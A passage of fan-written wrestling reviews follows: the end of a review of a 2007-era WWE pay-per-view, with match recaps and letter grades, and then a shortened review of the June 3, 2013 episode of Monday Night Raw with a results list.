Back in the ring and Kane hammers away which doesn’t get him very far. Kane goes up again and the clothesline takes Henry down for no cover. Chokeslam actually connects but Kenny Dykstra and Chavo come in for not the DQ. That doesn’t get them anywhere but it gets us right back into the bearhug incase the first two of them didn’t get you fired up enough. Even with an arm between Henry’s, Kane actually “blacks out” in the hold and we’re done. Yes, that’s the ending they gave this.

 

Rating: D. Weak match beyond belief as since it was an even numbered year, Henry was pushed. No idea what Vince sees in this guy other than a massive contract so let’s keep pushing him. Either way, weak match here with a REALLY bad ending. Also, the lumberjack stipulation continues to be one of the weakest rules you can add onto any match with this being no exception.

 

The Hardys and World’s Greatest Tag Team are with the medical people and get into it again.

 

We recap Vince vs. Lashley. Vince won the ECW Title at Backlash in retaliation for getting his head shaved due to Lashley beating Umaga at Mania. Lashley got screwed out of the title at Judgment Day because Vince hadn’t held the title long enough to ruin the legacy of it enough yet.

 

ECW Title: Vince McMahon vs. Bobby Lashley

 

Umaga and Shane are with Vince here. Since he’s in it, this is a street fight. Lashley tries to dive on Umaga to start but messes up completely, landing only a kick to the head of the now dead Samoan. Shane tries to punch him and that just fails, leaving Vince all alone with Lashley. Joey tries to make it sound like Lashley is standing up for ECW, even though Heyman probably gets physically ill at the thought of Lashley working for ECW.

 

He fights off the trio as well as he can at first but the numbers catch up with him when he tries to bring in a chair. Vince gives his first offense, a clothesline, to take Bobby down. Vince’s hair is back now so at least the bandana is gone now. Out to the floor as this is a very slow beatdown which is going nowhere at all. Vince gets the timekeeper hammer and chokes Bobby with it instead of, you know, HITTING HIM WITH IT?

 

Back in the ring and a Samoan Drop takes Lashley down again. So riveting indeed here. Maybe it’s because Vince and Shane aren’t wrestlers and therefore shouldn’t be in the ring with a guy like Lashley? Vince gets one of the worst spears I’ve ever seen to Lashley for two. Umaga chokes away to waste more time but misses a splash, crushing Vince instead.

 

Lashley starts cleaning house, sending Umaga to the floor via a low bridge and suplexing Umaga over the top. Big chair shot to the head of Vince and many more to the back follow. Dominator powerslam only gets two as Umaga makes the save. Bobby gets another chair but Umaga gets a superkick in to take him down again. There goes the crowd as that totally and completely should have been the ending.

 

Instead, the McMahons and the Samoan take over again because that way they look like supervillains again. Shane drops the big elbow through the table (OH YEAH!) and everyone is down. Umaga wakes Vince up and gets a long two on him. Joey freaks out but it just feels wrong here. Umaga hits the running smash in the corner and Lashley is done. Shane tries the Van Terminator but drills Umaga by mistake. Spear to Vince gives Lashley his title back.

 

Rating: D+. Match more or less sucked because Vince and company dominated for the vast majority of it. They proved why Vince being in a mach did nothing but they were trying to give Lashley a rub I guess. Either way, there really was no point in waiting for this show to do the title change again, but either way not much here and WAY too long. The first comeback should have been it.

 

Lashley spears Vince again post match just because. He would be stripped of the title in like two weeks anyway when he was drafted to Raw, more or less rendering the ECW Title a midcard title.

 

Santino and Maria are asked about how pudding matches go. Maria goes all smart again and it’s supposed to be funny but it really isn’t.

 

Candace Michelle vs. Melina

 

Yes, they’re in pudding and no, that doesn’t add anything to this. Candace just doesn’t look all that good. She never has and that’s all there is to it. Melina is Women’s Champion but it’s non-title. She has goggles on here and there they go. This is so freaking stupid. They roll out of the big pool and apparently you win by pin or submission. You can’t tell them apart either so this is rather pointless. Anyway, Candace wins by submission in like two and a half minutes. I flat out do not care because this isn’t wrestling, at least not the kind I want to see.

 

The cage is lowered.

 

We recap Edge vs. Batista. Edge more or less stole Mr. Kennedy’s MITB when Kennedy got injured and then cashed in on an injured Taker after Taker had a cage match with Batista and then Henry returned to beat Taker up. Batista won some match/competition to get the shot. This gets the music video treatment for the night.

 

Smackdown World Title: Edge vs. Batista

 

Win by pin, submission or escaping the cage. It’s in a cage in case you’re rather stupid or have a very short attention span. Batista has a bad hamstring to fill some injury quota for faces I guess. Edge tries for the door almost immediately but it’s locked still and Big Dave catches him. He keeps trying to run and Batista is like dude, just take it like a man. Basic power stuff to start us off as you would have expected.

 

Edge gets in a shot but still can’t escape over the top as Batista drills him with a clothesline for two. Batista climbs the ropes (not in the corner) and Edge gets a dropkick to the leg to bring him down and take over. Big Dave gets rammed into the cage a few times back first which get two for Edge. Back to the leg as Batista is in trouble now. Not enough trouble for Edge to retain but he was trying at least.

 

The Canadian lunges for the door but only gets his hands out. A turnbuckle gets torn off but Edge can’t put him into it. Powerslam is countered into an Edge-O-Matic so he goes up top again. More brawling on top sets up a superplex by Batista for two. They’re kind of going through the motions here but it’s not bad. Right back to the top and down goes Edge so the musclehead tries for a shoulder block off the top, only to get caught by a dropkick. Is anyone in wrestling built and smart?

 

Edge tries a spear but Batista tries one at the same time I guess and they collide. Batista takes over again and gets a side slam for a close two. Edge misses a missile dropkick but walks into a slingshot into the cage for two. Batista gets sent into the buckle that was exposed and gets taken down by a spear for two. There is more or less no transition here at all and the flow is all off.

 

Spinebuster gets two for Batista so he loads up the Batista Bomb. Edge manages to move backwards towards the cage and climb to the top. Batista gets caught by a low blow and crotched on the top rope. The Canadian climbs up while Batista goes for the door and in short, Edge wins. There’s not much else to it than that really.

 

Rating: B-. The best thing I can think of to say here is that they were going through the motions. It’s certainly not a bad match but at the same time it felt like there was nothing going on for the most part. There was some drama in there and there was nothing wrong with it from a technical standpoint at all, but I never could get into it. Not a bad match at all, but nothing great and more or less just going out there and having a cage match. Could be the lack of any real story.

 

Batista is all ticked off. Not to worry though, as Edge would get hurt in less than a month and have to forfeit the title. Khali would win it in a battle royal and Batista would get it soon after.

 

Summerslam, the Biggest Party of the Summer, is going to be crashed. This was going to be the Jackass guys but THANKFULLY this fell through.

 

We recap Khali vs. Cena. Cena beat him at Judgment Day via submission but Khali’s foot was under the ropes. Khali said he knew when he tapped, even though he didn’t continue the match. Both guys wanted a rematch in a falls count anywhere match. Last night on SNME, Khali pinned him clean in less than six and a half minutes, because WWE is really stupid.

 

Raw World Title: John Cena vs. Great Khali

 

Falls Count Anywhere here. Very pro-Cena crowd here. Cena fires off some kicks to the leg but finally gets caught and the power gets going. This is pin only which is kind of weird. Khali uses his basic offense and that’s not meant as a criticism. I mean, he’s Great Khali and a giant. There’s no reason to not have him just do basic stuff to win is there? Big boot puts Cena down again as we haven’t left the ring yet.

 

Cena tries to speed things up again but Khali raises his leg like a leg lariat to take him down one more time. One arm slam and Khali walks around a bit. Cena avoids a leg drop and manages to get the Throwback out of nowhere. The top rope Fameasser is blocked by the chop though and Cena falls to the floor. That gets two in the first cover of the match. Cena gets in some punches but a low dropkick misses and it’s back to Khali.

 

In something you won’t often see, Cena’s head goes through a monitor but avoids the big chop. He does however get thrown into the crowd as the beating continues. Out near the production area Cena gets a monitor shot to the head but can’t FU Khali. The big dude gets a bunch of forearm shots to the back as Cena stumbles around a lot. Khali misses a charge and Cena throws a boom camera at him for a two count.

 

Cena actually gets him up for the FU but the elbows to the head slow it down almost immediately. And hey here’s a crane for no apparent reason. Khali throws him onto the thing and tries the Punjabi Plunge. Cena manages to rake the eyes though and there’s the FU on a crane. FLY FAT BOY FLY as Khali goes to the ground and the pin follows, keeping the title on Cena.

 

Rating: C+. All things considered, this was rather solid. Keeping Khali out of the ring and just letting him pound on people is always the best thing you can do and this was no exception. They had about as basic of a match as you can ask for here and that’s probably a good thing. Khali as the monster isn’t terrible at times and this was one of them. all this one a pleasant surprise.

 

Overall Rating: C. Best place to put this one is right in the middle. Every match is either rated as a C or is a step above, canceled out by a step below. This PPV is firmly in the middle of the pack as the tag title match is good, the cage match is ok and the main event is ok, but some of the stuff is pretty bad. If for some reason you ever come across this it would fill in about three hours but there’s nothing you would miss at all. Not bad, but nothing required to see at all.
Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon at:

 




Monday Night Raw – June 3, 2013: Moving In The Right Direction

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Date: June 3, 2013
Location: XL Center, Hartford, Connecticut
Commentators; Michael Cole, Jerry Lawler, John Bradshaw Layfield

Shield vs. HELL NO/Randy Orton

Rating: B. The middle part was pretty dull but Bryan is the MAN right now and the fans are treating him as such. The ending to the match here is fine as Bryan was rolling but got beaten because of someone else on his team screwing up. As for Shield, are they actually capable of having a bad match? The more I see of them the less sure I am.

Usos vs. Prime Time Players

Some Special Olympians are here.

Big E. Langston vs. Alberto Del Rio

Rating: C. Del Rio continues to have chemistry with almost anyone he works with and Langston continues to show ridiculous potential. They need to get him away from Ziggler in a hurry as having him just playing a heavy is wasting a lot of his skills. The match was fine, but five times in two weeks is WAY too much.

Sheamus vs. Cody Rhodes

We look at Kofi being injured by Ryback on Friday and being taken out of action for a few months.

Fandango vs. Great Khali

The fans are totally behind Fandango here as both guys dance a bit to start. Khali takes him into the corner for some chops followed by some clotheslines. Fandango bails to the floor to avoid the Plunge and starts walking out, only to be cut off by Miz. Wade Barrett pops up to blast Miz with the Bull Hammer as the match just ends at about 2:00.

The Miz vs. Wade Barrett

We recap the McMahon/HHH drama up to this point.

Kaitlyn/Funkadactyls vs. AJ Lee/Bella Twins

Kaitlyn and AJ start things off. AJ backs into the corner and elbows both dancing chicks before bringing in Brie. Off to Naomi for the Rear View and a rolling senton from Cameron for two. Naomi hits the ropes with a crossbody and the Bellas take over on her arm. Nikki stays on the arm until Naomi slugs her down and brings in Kaitlyn. The reverse DDT only gets one on Nikki but AJ drops to the floor instead of tagging. The spear finishes Nikki at 4:32.

Video on the Wyatt Family, talking about monsters being real.

Daniel Bryan vs. Ryback

Back with Bryan being slammed into the corner again so Ryback can stomp his chest. Off to a chinlock for a bit but Ryback misses a charge into the corner and hits the post. Bryan fires off some dropkicks for two but Ryback easily kicks out. A missile dropkick sets up a VERY long swan dive for two more. Bryan fires off the kicks but gets caught in a wicked powerbomb.

Post match Ryback loads up another table but Cena makes the save. Axel comes out for the main event as we take a break.

John Cena vs. Curtis Axel

Cena wedges the chair between the top and middle ropes but gets clotheslined in the back of his head to give Axel control again. Cena comes back with his finishing sequence, only to miss a charge into the corner and crash into the chair. He just beats the count back in but gets beaten down by a bunch of chair shots from Axel. The McGillicutter onto the chair gets two but the PerfectPlex is countered into the STF.

Results

Shield b. HELL NO/Randy Orton – Bulldog Driver to Bryan

Usos b. Prime Time Players – Superfly Splash to Young

Alberto Del Rio b. Big E. Langston – Cradle

Sheamus b. Cody Rhodes – Brogue Kick

Fandango vs. Great Khali went to a no contest

The Miz b. Wade Barrett – Figure Four

Kaitlyn/Funkadactyls b. AJ Lee/Bella Twins – Spear to Nikki Bella

Daniel Bryan b. Ryback via DQ – Ryback powerbombed Bryan through a table

Curtis Axel b. John Cena via countout

 

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